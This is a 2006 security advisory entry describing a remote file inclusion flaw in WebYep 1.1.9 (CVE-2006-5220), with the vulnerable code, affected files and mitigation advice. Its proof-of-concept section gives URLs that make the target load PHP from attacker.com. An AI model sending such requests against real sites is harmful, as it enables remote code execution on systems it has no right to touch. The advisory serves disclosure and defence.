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Home arrow SecurityAlert Database

Arrow  Topic :

WebYep <= 1.1.9 (webyep_sIncludePath) Multiple Remote File Inclusion Vulnerability


Arrow  SecurityAlert : 1702
Arrow  CVE : CVE-2006-5220
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Dedi Dwianto a.k.a the_day
Arrow  Published : 12.10.2006

Arrow  Affected Software : WebYep <= 1.1.9



Arrow  Advisory Content :  

ECHO_ADV_48$2006

------------------------------------------------------------------------
-----------------------
[ECHO_ADV_48$2006] WebYep <= 1.1.9 (webyep_sIncludePath) Multiple Remote
File Inclusion Vulnerability
------------------------------------------------------------------------
-----------------------

Author : Dedi Dwianto a.k.a the_day
Date Found : October, 05th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv48-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
------------------------------------------------------------------------
---

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : WebYep
version : <=1.1.9
URL : http://www.obdev.at

WebYep is a compact Web Content Management System for extremely simple
creation of editable
web pages. It is a low priced alternative for small to medium web sites
------------------------------------------------------------------------
---

Vulnerability:
~~~~~~~~~~~~~~

In folder webyep-system/programm/lib found vulnerability script
WYApplication.php
---------------------------WYApplication.php----------------------------
-----------
....
<?

include_once("$webyep_sIncludePath/lib/WYApplication.php");
include_once("$webyep_sIncludePath/lib/WYHTMLTag.php");

...
----------------------------------------------------------

Input passed to the "$webyep_sIncludePath" parameter in WYApplication.php
is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

webyep-system/programm/lib/WYApplication.php
webyep-system/programm/lib/WYDocument.php
webyep-system/programm/lib/WYEditor.php
webyep-system/programm/lib/WYElement.php
webyep-system/programm/lib/WYFile.php
webyepasystem/programm/lib/WYHTMLTag.php
webyep-system/programm/lib/WYImage.php
webyep-system/programm/lib/WYLanguage.php
webyep-system/programm/lib/WYLink.php
webyep-system/programm/lib/WYPath.php
webyep-system/programm/lib/WYPopupWindowLink.php
webyep-system/programm/lib/WYSelectMenu.php
webyep-system/programm/lib/WYTextArea.php
webyep-system/programm/elements/WYGalleryElement.php
webyep-system/programm/elements/WYGuestbookElement.php
webyep-system/programm/elements/WYImageElement.php
webyep-system/programm/elements/WYLogonButtonElement.php
webyep-system/programm/elements/WYLongTextElement.php
webyep-system/programm/elements/WYLoopElement.php
webyep-system/programm/elements/WYMenuElement.php
webyep-system/programm/elements/WYShortTextElement.php
webyep-system/programm/webyep.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[webYep_path]/webyep-system/programm/lib/WYApplication
.php?webyep_sIncludePath=http://attacker.com/inject.txt?
http://target.com/[webYep_path]/webyep-system/programm/lib/WYDocument.ph
p?webyep_sIncludePath=http://attacker.com/inject.txt?
http://target.com/[webYep_path]/webyep-system/programm/webyep.php?webyep
_sIncludePath=http://attacker.com/inject.txt?
http://target.com/[webYep_path]/webyep-system/programm/elements/WYGaller
yElement.php?webyep_sIncludePath=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $webyep_sIncludePath on affected files.
- Turn off register_globals

Timeline:
~~~~~~~
05 - 10 - 2006 Bugs Found
05 - 10 - 2006 Vendor Contact
09 - 10 - Public Disclosure

------------------------------------------------------------------------
---

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,boom_3x,mathdule,angelia
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------

---
Contact:
~~~~
EcHo Research & Development Center
the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------




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